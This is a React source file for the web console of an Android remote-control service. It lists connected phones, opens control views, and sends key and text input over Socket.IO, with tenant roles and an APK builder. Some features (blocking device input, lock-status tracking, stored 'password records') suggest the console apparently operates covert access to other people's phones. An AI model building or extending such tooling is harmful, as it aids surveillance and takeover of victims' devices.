import React, { useState, useEffect } from 'react'
import { Layout, Menu, Button, Popconfirm, App, Dropdown, Table, Modal, Space, Tag, Badge, Input, Select } from 'antd'
import { NodeIndexOutlined, ArrowLeftOutlined, HomeOutlined } from '@ant-design/icons'
import { useDispatch, useSelector } from 'react-redux'
import {
  MobileOutlined,
  AndroidOutlined,
  SettingOutlined,
  MenuFoldOutlined,
  MenuUnfoldOutlined,
  WifiOutlined,
  DisconnectOutlined,
  DeleteOutlined,
  ExclamationCircleOutlined,
  UserOutlined,
  LogoutOutlined,
  DownOutlined,
  ControlOutlined,
  AppstoreOutlined,
  PlayCircleOutlined,
  StopOutlined,
  TeamOutlined
} from '@ant-design/icons'
import DeviceScreen from './Device/DeviceScreen'
// import DeviceCamera from './Device/DeviceCamera'
import ControlPanel from './Control/ControlPanel'
import APKManager from './APKManager'
import ConnectDialog from './Connection/ConnectDialog'
import ScreenReader from './Device/ScreenReader'
import TenantManagement from './Admin/TenantManagement'
// import GalleryView from './Gallery/GalleryView'
import type { RootState, AppDispatch } from '../store/store'
import { setConnectionStatus, setWebSocket, setServerUrl } from '../store/slices/connectionSlice'
import { addDevice, removeDevice, selectDevice, updateDeviceInputBlocked, updateDeviceConnectionStatus, updateDeviceScreenReaderConfig, updateDeviceLockStatus, updateDeviceRemark, selectFilteredDevices } from '../store/slices/deviceSlice'
import { addNotification, setDeviceInputBlocked } from '../store/slices/uiSlice'
import { enableDeviceScreenReader, disableDeviceScreenReader } from '../store/slices/deviceSlice'
import { logout, selectUser } from '../store/slices/authSlice'
import { io } from 'socket.io-client'
import apiClient from '../services/apiClient'
import DeviceFilter from './Control/DeviceFilter'

const { Header, Sider, Content } = Layout
type DeviceVideoSessionMode = 'ws_default' | 'webrtc_boost' | 'fallback_ws'

/**
 * 远程控制主应用组件
 */
const RemoteControlApp: React.FC = () => {
  const { message, modal } = App.useApp()
  const dispatch = useDispatch<AppDispatch>()
  const { status: connectionStatus, serverUrl, webSocket } = useSelector((state: RootState) => state.connection)
  const { selectedDeviceId, connectedDevices } = useSelector((state: RootState) => state.devices)
  const filteredDevices = useSelector((state: RootState) => selectFilteredDevices(state))
  const { operationEnabled } = useSelector((state: RootState) => state.ui)
  const currentUser = useSelector(selectUser)
  const currentRole = currentUser?.role || 'member'
  const canManageTenant = currentRole === 'superadmin'
  const canUseApkManager = currentRole === 'superadmin' || currentUser?.allowBuild !== false
  const currentRoleLabel = currentRole === 'superadmin' ? '超级管理员' : currentRole === 'leader' ? '组长' : '组员'

  const [connectDialogVisible, setConnectDialogVisible] = useState(false)
  const [currentView, setCurrentView] = useState('control')
  const [menuCollapsed, setMenuCollapsed] = useState(window.innerWidth < 768)
  const [isMobile, setIsMobile] = useState(window.innerWidth < 768)
  const [autoConnectAttempted, setAutoConnectAttempted] = useState(false)

  // 备注编辑状态
  const [remarkDrafts, setRemarkDrafts] = useState<Record<string, string>>({})
  const [remarkSaving, setRemarkSaving] = useState<Record<string, boolean>>({})

  // 设备列表分页状态
  const [devicePageSize, setDevicePageSize] = useState(20)
  const [deviceCurrentPage, setDeviceCurrentPage] = useState(1)

  // 弹框状态管理 / 独立页面模式
  const [screenModalVisible, setScreenModalVisible] = useState(false)
  const [selectedDeviceForModal, setSelectedDeviceForModal] = useState<any>(null)

  // Transfer device state
  const [transferModalVisible, setTransferModalVisible] = useState(false)
  const [transferringDevice, setTransferringDevice] = useState<any>(null)
  const [transferTargets, setTransferTargets] = useState<Array<any>>([])
  const [transferTargetUserId, setTransferTargetUserId] = useState('')
  const [transferring, setTransferring] = useState(false)
  const [videoModeByDevice, setVideoModeByDevice] = useState<Record<string, DeviceVideoSessionMode>>({})

  // 是否通过 URL 参数打开独立控制页面
  const [standaloneControlDeviceId, setStandaloneControlDeviceId] = useState<string | null>(null)

  useEffect(() => {
    try {
      const params = new URLSearchParams(window.location.search)
      const id = params.get('controlDeviceId')
      if (id) {
        setStandaloneControlDeviceId(id)
        const found = connectedDevices.find(d => d.id === id)
        if (found) {
          setSelectedDeviceForModal(found)
          dispatch(selectDevice(found.id))
          setScreenModalVisible(true)
        }
      }
    } catch { }
  }, [connectedDevices])

  // 文本输入功能
  const [textInput, setTextInput] = useState('')

  useEffect(() => {
    // Auto-connect to local server (first load only, must be authenticated)
    if (connectionStatus === 'disconnected' && !serverUrl && !autoConnectAttempted && currentUser) {
      // 判断hostname是否为IP地址
      const isIPAddress = (hostname: string): boolean => {
        // IPv4地址正则表达式
        const ipv4Regex = /^(\d{1,3}\.){3}\d{1,3}$/
        // IPv6地址正则表达式（简化版）
        const ipv6Regex = /^([0-9a-fA-F]{1,4}:){7}[0-9a-fA-F]{1,4}$/
        return ipv4Regex.test(hostname) || ipv6Regex.test(hostname)
      }
      
      const isIP = isIPAddress(window.location.hostname)
      const defaultServerUrl = isIP 
        ? `${window.location.protocol}//${window.location.hostname}:3001`
        : `${window.location.protocol}//${window.location.hostname}`
      
      console.log('[Auth] User authenticated, auto-connecting:', defaultServerUrl)
      setAutoConnectAttempted(true)
      connectToServer(defaultServerUrl)
    }
  }, [connectionStatus, serverUrl, autoConnectAttempted, currentUser])

  useEffect(() => {
    const handleResize = () => {
      const mobile = window.innerWidth < 768
      setIsMobile(mobile)
      if (mobile && !menuCollapsed) {
        setMenuCollapsed(true)
      }
    }

    window.addEventListener('resize', handleResize)
    return () => window.removeEventListener('resize', handleResize)
  }, [menuCollapsed])

  useEffect(() => {
    const handleVideoModeChanged = (event: Event) => {
      const customEvent = event as CustomEvent<{ deviceId?: string, mode?: DeviceVideoSessionMode }>
      const deviceId = customEvent.detail?.deviceId
      const mode = customEvent.detail?.mode
      if (!deviceId || !mode) return
      setVideoModeByDevice((prev) => ({ ...prev, [deviceId]: mode }))
    }

    window.addEventListener('remote-control:video-mode-changed', handleVideoModeChanged as EventListener)
    return () => {
      window.removeEventListener('remote-control:video-mode-changed', handleVideoModeChanged as EventListener)
    }
  }, [])

  useEffect(() => {
    if (currentView === 'tenant' && !canManageTenant) {
      setCurrentView('control')
    }
  }, [currentView, canManageTenant])

  useEffect(() => {
    if (currentView === 'apk' && !canUseApkManager) {
      setCurrentView('control')
    }
  }, [currentView, canUseApkManager])

  // Disconnect WebSocket on logout
  useEffect(() => {
    if (!currentUser && webSocket) {
      console.log('[Auth] User logged out, disconnecting WebSocket')
      webSocket.disconnect()
      dispatch(setWebSocket(null))
      dispatch(setConnectionStatus('disconnected'))
    }
  }, [currentUser, webSocket, dispatch])

  const connectToServer = (url: string) => {
    try {
      // Check auth state
      const token = localStorage.getItem('auth_token')
      if (!token) {
        console.warn('[Auth] No token, cancelling WebSocket connection')
        dispatch(setConnectionStatus('error'))
        dispatch(addNotification({
          type: 'warning',
          title: '连接失败',
          message: '请先登录后再连接服务器',
        }))
        return
      }

      // Disconnect existing socket before creating a new one
      if (webSocket) {
        console.log('[Socket] Disconnecting existing socket before reconnect')
        webSocket.disconnect()
        dispatch(setWebSocket(null))
      }

      dispatch(setConnectionStatus('connecting'))
      dispatch(setServerUrl(url))

      // Normalize ws:// -> http:// for Socket.IO v4 client
      let normalizedUrl = url
      if (normalizedUrl.startsWith('ws://')) {
        normalizedUrl = normalizedUrl.replace(/^ws:\/\//, 'http://')
      } else if (normalizedUrl.startsWith('wss://')) {
        normalizedUrl = normalizedUrl.replace(/^wss:\/\//, 'https://')
      }

      const HEARTBEAT_INTERVAL_MS = 8000
      const HEARTBEAT_TIMEOUT_MS = 26000
      let heartbeatTimer: ReturnType<typeof window.setInterval> | null = null
      let lastHeartbeatAckTime = Date.now()
      let heartbeatSeq = 0

      const clearHeartbeatMonitor = () => {
        if (heartbeatTimer) {
          window.clearInterval(heartbeatTimer)
          heartbeatTimer = null
        }
      }

      const markHeartbeatAck = () => {
        lastHeartbeatAckTime = Date.now()
      }

      // Socket.IO v4 client config
      const socket = io(normalizedUrl, {
        // Transport: websocket first with polling fallback
        transports: ['websocket', 'polling'],
        upgrade: true,
        rememberUpgrade: true,

        // Reconnection config
        reconnection: true,
        reconnectionDelay: 800,
        reconnectionDelayMax: 6000,
        reconnectionAttempts: Infinity,
        randomizationFactor: 0.3,

        // Timeout config (match server side)
        timeout: 30000,

        // Force new connection
        forceNew: true,
        autoConnect: true,

        // Auth: carry JWT token
        auth: {
          token: token
        }
      })

      const startHeartbeatMonitor = () => {
        clearHeartbeatMonitor()
        markHeartbeatAck()

        heartbeatTimer = window.setInterval(() => {
          if (!socket.connected) return

          const now = Date.now()
          heartbeatSeq += 1
          socket.emit('heartbeat', {
            timestamp: now,
            seq: heartbeatSeq,
            source: 'web_client'
          })

          if (now - lastHeartbeatAckTime > HEARTBEAT_TIMEOUT_MS) {
            console.warn('[Socket] heartbeat timeout, force reconnect')
            dispatch(setConnectionStatus('connecting'))
            markHeartbeatAck()

            socket.disconnect()
            socket.connect()
          }
        }, HEARTBEAT_INTERVAL_MS)
      }

      socket.on('connect', () => {
        console.log('已连接到服务器')
        dispatch(setConnectionStatus('connected'))
        dispatch(addNotification({
          type: 'success',
          title: '连接成功',
          message: '已成功连接到远程控制服务器',
        }))
        setConnectDialogVisible(false)

        // 注册为Web客户端
        console.log('发送Web客户端注册请求...')
        socket.emit('web_client_register', {
          userAgent: navigator.userAgent,
          timestamp: Date.now()
        })

        startHeartbeatMonitor()

      })

      socket.on('disconnect', (reason) => {
        console.log('[Socket] disconnect, reason:', reason)
        clearHeartbeatMonitor()

        if (reason === 'io server disconnect' || reason === 'io client disconnect') {
          // Server or client explicitly disconnected, no auto-reconnect
          dispatch(setConnectionStatus('disconnected'))
          dispatch(addNotification({
            type: 'warning',
            title: '连接断开',
            message: '与服务器的连接已断开',
          }))
        } else {
          // Transport error / ping timeout etc. - Socket.IO will auto-reconnect
          dispatch(setConnectionStatus('connecting'))
          console.log('[Socket] Will auto-reconnect...')
        }
      })

      socket.on('heartbeat_ack', () => {
        markHeartbeatAck()
      })

      socket.on('CONNECTION_TEST_RESPONSE', () => {
        markHeartbeatAck()
      })

      socket.on('connect_error', (error) => {
        console.error('[Socket] connect_error:', error?.message || error)

        // Only show dialog and set error state when reconnection is exhausted
        // Socket.IO will auto-reconnect; don't interfere by setting 'error' status on every attempt
        if (!socket.active) {
          // socket.active === false means reconnection gave up
          dispatch(setConnectionStatus('error'))
          dispatch(addNotification({
            type: 'error',
            title: '连接失败',
            message: `无法连接到服务器: ${error?.message || '未知错误'}`,
          }))
          setConnectDialogVisible(true)
        } else {
          // Still reconnecting, keep 'connecting' status
          dispatch(setConnectionStatus('connecting'))
        }
      })

      // Handle auth error
      socket.on('auth_error', (data) => {
        console.error('[Auth] WebSocket auth error:', data)
        dispatch(setConnectionStatus('error'))

        // 认证失败，清除本地token并重定向到登录页
        dispatch(addNotification({
          type: 'error',
          title: '认证失败',
          message: data.message || '认证已过期，请重新登录',
        }))

        // 清除认证状态
        dispatch(logout())

        // 断开WebSocket连接
        clearHeartbeatMonitor()
        socket.disconnect()
      })

      // 监听客户端注册成功
      socket.on('client_registered', (data) => {
        console.log('Web客户端注册成功:', data)
        // 如果有现有设备，添加到设备列表
        if (data.devices && data.devices.length > 0) {
          console.log('发现现有设备:', data.devices)
          data.devices.forEach((device: any) => {
            dispatch(addDevice(device))
          })
        }
      })

      // 定期设备列表全量刷新(服务端每10秒推送)
      socket.on('devices_list_refresh', (data) => {
        if (!data?.devices || !Array.isArray(data.devices)) {
          return
        }
        data.devices.forEach((device: any) => {
          if (!device?.id) {
            return
          }
          dispatch(addDevice(device))
        })
      })

      socket.on('device_connected', (device) => {
        console.log('设备已连接:', device)
        dispatch(addDevice(device))

        // 如果设备当前被选中，同步输入阻止状态到UI
        if (device.id === selectedDeviceId && device.inputBlocked !== undefined) {
          dispatch(setDeviceInputBlocked(device.inputBlocked))
        }

        dispatch(addNotification({
          type: 'info',
          title: '设备已连接',
          message: `${device.name} 已连接`,
        }))
      })

      socket.on('device_disconnected', (data) => {
        // 兼容两种格式: 字符串deviceId 或 对象{deviceId}
        const deviceId = typeof data === 'string' ? data : data?.deviceId
        if (!deviceId) {
          console.error('[Device] device_disconnected: invalid data', data)
          return
        }
        console.log('[Device] disconnected:', deviceId)
        // 将设备状态设为offline而不是移除，避免设备重连时丢失
        dispatch(updateDeviceConnectionStatus({
          deviceId,
          status: 'offline'
        }))
        dispatch(addNotification({
          type: 'info',
          title: '设备已断开',
          message: '设备连接已断开',
        }))
      })

      // 监听设备状态更新
      socket.on('device_status_update', (data) => {
        console.log('设备状态更新:', data)
        const { deviceId, status } = data

        // Update device online status
        if (status.online !== undefined || status.connected !== undefined) {
          const deviceStatus = status.online || status.connected ? 'online' : 'offline'
          dispatch(updateDeviceConnectionStatus({
            deviceId,
            status: deviceStatus
          }))
          console.log(`[Device] ${deviceId} status updated: ${deviceStatus}`)
        }



        // 更新设备的输入阻止状态
        if (status.inputBlocked !== undefined) {
          dispatch(updateDeviceInputBlocked({
            deviceId,
            inputBlocked: status.inputBlocked
          }))

          // 如果是当前选中的设备，同步UI状态
          if (deviceId === selectedDeviceId) {
            dispatch(setDeviceInputBlocked(status.inputBlocked))
          }
        }

        // Update device last seen time
        if (status.lastSeen) {
          const device = connectedDevices.find(d => d.id === deviceId)
          if (device) {
            device.lastSeen = status.lastSeen
          }
        }
      })

      // 监听删除设备响应
      socket.on('delete_device_response', (data) => {
        console.log('删除设备响应:', data)
        const { deviceId, success, message: msg } = data

        // 关闭加载提示
        message.destroy(`delete-${deviceId}`)

        if (success) {
          // 删除成功，从本地状态移除设备
          dispatch(removeDevice(deviceId))

          // 如果删除的是当前选中的设备，清除选择
          if (selectedDeviceId === deviceId) {
            dispatch(selectDevice(''))
          }

          message.success(msg || '设备删除成功')
        } else {
          // 删除失败，显示错误信息
          message.error(msg || '设备删除失败')
        }
      })

      // 监听设备锁屏状态更新
      socket.on('device_lock_status_update', (data) => {
        // console.log('设备锁屏状态更新:', data)
        const { deviceId, isLocked } = data

        // 更新设备的锁屏状态
        dispatch(updateDeviceLockStatus({
          deviceId,
          isLocked
        }))
        // console.log(`设备 ${deviceId} 锁屏状态更新为: ${isLocked ? '已锁定' : '未锁定'}`)
      })

      dispatch(setWebSocket(socket))

    } catch (error) {
      console.error('连接失败:', error)
      dispatch(setConnectionStatus('error'))
      message.error('连接失败')
    }
  }



  const handleConnect = (url: string) => {
    connectToServer(url)
  }

  const handleLogout = () => {
    console.log('[Auth] handleLogout called')
    modal.confirm({
      title: '确认登出',
      content: '您确定要退出登录吗？',
      icon: <ExclamationCircleOutlined />,
      okText: '确认',
      cancelText: '取消',
      onOk: async () => {
        console.log('[Auth] User confirmed logout')
        const currentToken = localStorage.getItem('auth_token')
        const currentUser = localStorage.getItem('auth_user')
        console.log('[Auth] Current auth state:', {
          hasToken: !!currentToken,
          hasUser: !!currentUser
        })

        try {
          const result = await dispatch(logout())
          console.log('[Auth] logout dispatch result:', result)

          // 检查logout后的状态
          setTimeout(() => {
            const currentToken = localStorage.getItem('auth_token')
            const currentUser = localStorage.getItem('auth_user')
            console.log('[Auth] Post-logout localStorage:', { token: currentToken, user: currentUser })
          }, 100)

          message.success('已退出登录')
        } catch (error) {
          console.error('[Auth] logout error:', error)
          message.error('退出登录失败')
        }
      }
    })
  }

  // Delete device
  const handleDeleteDevice = (deviceId: string, deviceName: string) => {
    if (!webSocket) {
      message.error('WebSocket未连接')
      return
    }

    console.log('[Device] Delete device:', deviceId, deviceName)

    // 发送删除设备请求
    webSocket.emit('client_event', {
      type: 'DELETE_DEVICE',
      data: { deviceId }
    })

    // Wait for server response before removing device
    message.loading({ content: '正在删除设备...', key: `delete-${deviceId}` })
  }

  // Transfer device
  const handleTransferDevice = async (device: any) => {
    setTransferringDevice(device)
    setTransferTargetUserId('')
    setTransferTargets([])
    setTransferModalVisible(true)

    try {
      const result = await apiClient.get<any>('/api/auth/transfer-targets')
      if (result?.success) {
        const users = Array.isArray(result.users) ? result.users : []
        setTransferTargets(users)
      } else {
        message.error(result?.message || '获取可转移成员失败')
      }
    } catch (error: any) {
      console.error('获取可转移成员失败:', error)
      message.error(error?.message || '获取可转移成员失败')
    }
  }

  const handleConfirmTransfer = async () => {
    if (!transferringDevice) {
      message.error('设备信息缺失')
      return
    }

    if (!transferTargetUserId) {
      message.error('请选择目标用户')
      return
    }

    setTransferring(true)
    try {
      const result = await apiClient.post<any>(`/api/devices/${transferringDevice.id}/transfer`, {
        targetUserId: transferTargetUserId
      })

      if (!result?.success) {
        message.error(result?.message || '设备转移失败')
        return
      }

      message.success(result.message || '设备转移成功')

      const latestDevices = await apiClient.get<any[]>('/api/devices')
      const latestIds = new Set((latestDevices || []).map((item: any) => item.id))
      connectedDevices.forEach((item) => {
        if (!latestIds.has(item.id)) {
          dispatch(removeDevice(item.id))
        }
      })
      ;(latestDevices || []).forEach((device: any) => {
        dispatch(addDevice(device))
      })

      setTransferModalVisible(false)
      setTransferTargetUserId('')
      setTransferringDevice(null)
      setTransferTargets([])
    } catch (error: any) {
      console.error('设备转移失败:', error)
      message.error(error?.message || '设备转移失败')
    } finally {
      setTransferring(false)
    }
  }

  // Handle device action
  const handleDeviceAction = async (device: any) => {
    if (device.status === 'offline') {
      // 离线设备显示提示
      modal.info({
        title: '设备离线',
        content: (
          <div>
            <p>设备 <strong>{device.name}</strong> 当前处于离线状态。</p>
            <div style={{ marginTop: '16px', padding: '12px', background: 'var(--md-surface-container-low)', borderRadius: '6px' }}>
              <div><strong>设备信息：</strong></div>
              <div>• 型号：{device.model}</div>
              <div>• 系统：Android {device.osVersion}</div>
              <div>• 分辨率：{device.screenWidth}×{device.screenHeight}</div>
              <div>• 公网IP：{device.publicIP || '未知'}</div>
              <div>• 最后在线：{formatLastSeen(device.lastSeen)}</div>
            </div>
            <div style={{ marginTop: '12px', color: 'var(--md-on-surface-variant)' }}>
              <p><strong>如何重新连接：</strong></p>
              <p>1. 确保设备已连接到网络</p>
              <p>2. 打开设备上的远程控制APP</p>
              <p>3. 设备重新连接后会自动变为在线状态</p>
            </div>
          </div>
        ),
        okText: '知道了',
        width: 500
      })
      return
    }

    // If superadmin, check if device is being controlled
    if (canManageTenant) {
      try {
        const result = await apiClient.get<any>(`/api/devices/${device.id}/controller`)
        
        if (result.success) {
          // 如果设备被控制且不是当前用户自己控制
          if (result.isControlled && !result.isCurrentUser) {
            const controller = result.controller
            modal.warning({
              title: '设备正在被其他用户控制',
              content: (
                <div>
                  <p style={{ marginBottom: 16, color: 'var(--md-error)', fontWeight: 'bold' }}>
                    设备 <strong>{device.name}</strong> 当前正在被其他用户控制，无法进入控制页面。
                  </p>
                  <div style={{ 
                    marginTop: '16px', 
                    padding: '16px', 
                    background: 'var(--md-warning-container)', 
                    borderRadius: '8px',
                    border: '1px solid var(--md-outline-variant)'
                  }}>
                    <div style={{ marginBottom: 12, fontWeight: 'bold', color: 'var(--md-warning)' }}>
                      控制者详细信息：
                    </div>
                    <div style={{ fontSize: '14px', lineHeight: '1.8' }}>
                      <div><strong>用户名：</strong>{controller?.username || '未知'}</div>
                      <div><strong>客户端ID：</strong>{controller?.clientId || '未知'}</div>
                      <div><strong>IP地址：</strong>{controller?.ip || '未知'}</div>
                      <div><strong>连接时间：</strong>{controller?.connectedAt ? new Date(controller.connectedAt).toLocaleString('zh-CN') : '未知'}</div>
                      <div><strong>最后活跃：</strong>{controller?.lastSeen ? new Date(controller.lastSeen).toLocaleString('zh-CN') : '未知'}</div>
                      {controller?.userAgent && (
                        <div style={{ marginTop: 8 }}>
                          <strong>用户代理：</strong>
                          <div style={{ 
                            marginTop: 4, 
                            padding: '8px', 
                            background: 'var(--md-surface-container-lowest)', 
                            borderRadius: '4px',
                            fontSize: '12px',
                            wordBreak: 'break-all'
                          }}>
                            {controller.userAgent}
                          </div>
                        </div>
                      )}
                    </div>
                  </div>
                  <div style={{ 
                    marginTop: '16px', 
                    padding: '12px', 
                    background: 'var(--md-success-container)', 
                    borderRadius: '6px',
                    fontSize: '12px',
                    color: 'var(--md-success)'
                  }}>
                    <strong>提示：</strong>请等待当前控制者释放控制权后，再尝试进入控制页面。
                  </div>
                </div>
              ),
              okText: '知道了',
              width: 600
            })
            return
          }
          // 如果设备未被控制或是当前用户自己控制，继续正常流程
        }
      } catch (error: any) {
        console.error('检查设备控制状态失败:', error)
        // 如果接口调用失败，仍然允许进入控制页面（避免因为接口问题阻止正常使用）
        message.warning('检查设备控制状态失败，将直接进入控制页面')
      }
    }

    // 新开页面打开控制视图
    const url = `${window.location.origin}${window.location.pathname}?controlDeviceId=${device.id}`
    window.open(url, '_blank', 'noopener,noreferrer')
    return
  }

  // Handle system key
  const getDeviceVideoMode = (deviceId?: string | null): DeviceVideoSessionMode => {
    if (!deviceId) return 'ws_default'
    return videoModeByDevice[deviceId] || 'ws_default'
  }

  const triggerOverclockMode = (deviceId: string) => {
    if (!webSocket) {
      message.error('WebSocket未连接')
      return
    }

    const currentMode = getDeviceVideoMode(deviceId)
    if (currentMode === 'webrtc_boost') {
      window.dispatchEvent(new CustomEvent('remote-control:ws-default-mode', {
        detail: { deviceId }
      }))
      message.success('已切回默认模式')
      return
    }

    webSocket.emit('control_message', {
      type: 'SCREEN_CAPTURE_RESUME',
      deviceId,
      data: {},
      timestamp: Date.now()
    })
    window.dispatchEvent(new CustomEvent('remote-control:overclock-mode', {
      detail: { deviceId }
    }))
    message.success('已发送超频模式指令')
  }

  const handleSystemKey = (keyType: 'BACK' | 'HOME' | 'RECENTS') => {
    if (!webSocket || !selectedDeviceForModal) {
      message.error('WebSocket未连接或未选择设备')
      return
    }

    console.log('[Control] Send system key:', keyType)

    webSocket.emit('control_message', {
      type: 'KEY_EVENT',
      deviceId: selectedDeviceForModal.id,
      data: {

        key: keyType
      }
    })

    message.success(`已发送${keyType === 'BACK' ? '返回' : keyType === 'HOME' ? '主页' : '任务'}按键`)
  }

  // Handle text input
  const handleTextInput = () => {
    if (!textInput.trim()) return
    if (!webSocket || !selectedDeviceForModal) {
      message.error('WebSocket未连接或未选择设备')
      return
    }
    if (!operationEnabled) {
      message.warning('操作已被阻止')
      return
    }

    console.log('[Control] Send text input:', textInput)
    webSocket.emit('control_message', {
      type: 'INPUT_TEXT',
      deviceId: selectedDeviceForModal.id,
      data: { text: textInput },
      timestamp: Date.now()
    })

    setTextInput('')
    message.success('文本已发送')
  }

  // Format last seen time
  const formatLastSeen = (timestamp: number) => {
    const d = new Date(timestamp)
    const pad = (n: number) => n.toString().padStart(2, '0')
    const y = d.getFullYear()
    const m = pad(d.getMonth() + 1)
    const day = pad(d.getDate())
    const hh = pad(d.getHours())
    const mm = pad(d.getMinutes())
    return `${y}-${m}-${day} ${hh}:${mm}`
  }

  // 设备列表分页处理
  const handleDevicePageChange = (page: number, size?: number) => {
    setDeviceCurrentPage(page)
    if (size) {
      setDevicePageSize(size)
    }
  }

  // Edit device remark (inline save)
  const handleRemarkChange = (deviceId: string, value: string) => {
    setRemarkDrafts(prev => ({ ...prev, [deviceId]: value }))
  }

  const handleSaveRemarkInline = async (device: any) => {
    const draft = remarkDrafts[device.id]
    const newRemark = draft !== undefined ? draft : (device.remark || '')

    setRemarkSaving(prev => ({ ...prev, [device.id]: true }))
    try {
      await apiClient.put(`/api/devices/${device.id}/remark`, { remark: newRemark })
      // 更新本地状态
      dispatch(updateDeviceRemark({ deviceId: device.id, remark: newRemark }))
      // 清理草稿
      setRemarkDrafts(prev => ({ ...prev, [device.id]: newRemark }))
      message.success('备注已保存')
    } catch (error) {
      console.error('更新备注失败:', error)
      message.error('更新备注失败')
    } finally {
      setRemarkSaving(prev => ({ ...prev, [device.id]: false }))
    }
  }

  // Device table columns
  const deviceColumns = [
    {
      title: '设备名称',
      dataIndex: 'name',
      key: 'name',
      width: 150,
      render: (text: string, record: any) => (
        <Space>
          <AndroidOutlined style={{ color: record.status === 'online' ? 'var(--md-success)' : 'var(--md-outline)' }} />
          <span style={{ fontWeight: 500 }}>{text}</span>
        </Space>
      )
    },
    {
      title: '状态',
      dataIndex: 'status',
      key: 'status',
      width: 80,
      render: (status: string) => {
        const getStatusConfig = (status: string) => {
          switch (status) {
            case 'online':
              return { badgeStatus: 'success' as const, tagColor: 'success', text: '在线' }
            case 'offline':
              return { badgeStatus: 'default' as const, tagColor: 'default', text: '离线' }
            case 'connecting':
              return { badgeStatus: 'processing' as const, tagColor: 'processing', text: '连接中' }
            default:
              return { badgeStatus: 'default' as const, tagColor: 'default', text: '离线' }
          }
        }
        const config = getStatusConfig(status)
        return (
          <Badge
            status={config.badgeStatus}
            text={
              <Tag color={config.tagColor}>
                {config.text}
              </Tag>
            }
          />
        )
      }
    },
    {
      title: '型号',
      dataIndex: 'model',
      key: 'model',
      width: 120,
      ellipsis: true
    },
    {
      title: '系统版本',
      dataIndex: 'osVersion',
      key: 'osVersion',
      width: 100,
      render: (version: string) => `Android ${version}`
    },
    {
      title: 'IP',
      dataIndex: 'publicIP',
      key: 'publicIP',
      width: 120,
      ellipsis: true,
      render: (ip: string) => ip || '未知'
    },
    {
      title: 'APP名称',
      dataIndex: 'appName',
      key: 'appName',
      width: 100,
      ellipsis: true,
      render: (text: string) => text || '-'
    },
    ...(currentRole === 'superadmin' ? [
      {
        title: '归属用户',
        key: 'ownerUsername',
        width: 160,
        ellipsis: true,
        render: (_: unknown, record: any) => record.ownerUsername || record.ownerUserId || '-',
      },
      {
        title: '归属组',
        key: 'ownerGroupName',
        width: 160,
        ellipsis: true,
        render: (_: unknown, record: any) => record.ownerGroupName || record.ownerGroupId || '-',
      },
    ] : []),
    {
      title: '锁屏状态',
      dataIndex: 'isLocked',
      key: 'isLocked',
      width: 100,
      render: (isLocked: boolean) => (
        <Tag color={isLocked ? 'red' : 'green'}>
          {isLocked ? '已锁定' : '未锁定'}
        </Tag>
      )
    },
    {
      title: '最后在线',
      dataIndex: 'lastSeen',
      key: 'lastSeen',
      width: 160,
      render: (timestamp: number) => formatLastSeen(timestamp)
    },
    {
      title: '安装时间',
      dataIndex: 'connectedAt',
      key: 'connectedAt',
      width: 160,
      render: (ts?: number) => (ts ? formatLastSeen(ts) : '-')
    },
    {
      title: '备注',
      dataIndex: 'remark',
      key: 'remark',
      width: 220,
      ellipsis: true,
      render: (text: string, record: any) => {
        const value = remarkDrafts[record.id] !== undefined ? remarkDrafts[record.id] : (text || '')
        const changed = value !== (record.remark || '')
        const saving = !!remarkSaving[record.id]
        const tryAutoSave = () => {
          if (changed && !saving) {
            handleSaveRemarkInline(record)
          }
        }
        return (
          <div style={{ display: 'flex', alignItems: 'center' }}>
            <Input
              size="small"
              value={value}
              disabled={saving}
              onChange={(e) => handleRemarkChange(record.id, e.target.value)}
              onPressEnter={tryAutoSave}
              onBlur={tryAutoSave}
              placeholder="输入备注"
            />
          </div>
        )
      }
    },
    {
      title: '操作',
      key: 'actions',
      width: 180,
      render: (record: any) => (
        <Space size="small">
          <Button
            type="primary"
            size="small"
            icon={<ControlOutlined />}
            onClick={() => handleDeviceAction(record)}
            disabled={record.status === 'offline'}
            style={{ minWidth: '60px' }}
          >
            控制
          </Button>
          {currentUser && (
            <Button
              type="default"
              size="small"
              icon={<NodeIndexOutlined />}
              onClick={() => handleTransferDevice(record)}
              style={{ minWidth: '50px' }}
              title="转移设备归属"
            >
              转
            </Button>
          )}
          <Popconfirm
            title="删除设备"
            description={
              <div>
                <p>确定要删除设备 <strong>{record.name}</strong> 吗？</p>
                <p style={{ color: 'var(--md-error)', fontSize: '12px', margin: '8px 0 0 0' }}>
                  [!] 此操作将删除该设备的所有历史记录，包括操作日志、密码记录等，且无法恢复！
                </p>
              </div>
            }
            okText="确认删除"
            cancelText="取消"
            okType="danger"
            icon={<ExclamationCircleOutlined style={{ color: 'var(--md-error)' }} />}
            onConfirm={() => handleDeleteDevice(record.id, record.name)}
          >
            <Button
              type="text"
              danger
              size="small"
              icon={<DeleteOutlined />}
              title="删除设备"
            />
          </Popconfirm>
        </Space>
      )
    }
  ]

  const menuItems = [
    {
      key: 'control',
      icon: <MobileOutlined />,
      label: '设备控制',
    },
    ...(canUseApkManager ? [{
      key: 'apk',
      icon: <AndroidOutlined />,
      label: 'APK 管理',
    }] : []),
    ...(canManageTenant ? [{
      key: 'tenant',
      icon: <TeamOutlined />,
      label: '租户管理',
    }] : []),
    {
      key: 'settings',
      icon: <SettingOutlined />,
      label: '设置',
    }
  ]

  const renderContent = () => {
    switch (currentView) {
      case 'control':
        return (
          <div className="device-list-page">
            {/* 设备表格 */}
            <div className="device-list-card">
              <div style={{ marginBottom: 12 }}>
                <DeviceFilter />
              </div>

              {filteredDevices.length > 0 ? (
                <Table
                  columns={deviceColumns}
                  dataSource={filteredDevices || []}
                  rowKey="id"
                  pagination={{
                    current: deviceCurrentPage,
                    pageSize: devicePageSize,
                    showSizeChanger: true,
                    showQuickJumper: true,
                    showTotal: (total, range) => `第 ${range[0]}-${range[1]} 条，共 ${total} 条`,
                    pageSizeOptions: ['10', '20', '50', '100'],
                    onChange: handleDevicePageChange,
                    onShowSizeChange: handleDevicePageChange,
                    size: 'small'
                  }}
                  scroll={{ x: 800 }}
                  size="small"
                />
              ) : (
                <div className="device-empty-state">
                  <MobileOutlined style={{ fontSize: '56px', marginBottom: '16px', color: 'var(--md-outline-variant)' }} />
                  <div style={{ fontSize: '16px', marginBottom: '8px', color: 'var(--md-on-surface-variant)' }}>未找到匹配的设备</div>
                  <div style={{ fontSize: '13px', marginBottom: '20px' }}>
                    请调整筛选条件，或清除筛选后重试
                  </div>
                  <Button
                    type="primary"
                    onClick={() => setConnectDialogVisible(true)}
                  >
                    连接服务器
                  </Button>
                </div>
              )}
            </div>
          </div>
        )
      case 'apk':
        return canUseApkManager ? (
          <div style={{
            padding: 0,
            flex: 1,
            overflow: 'auto',
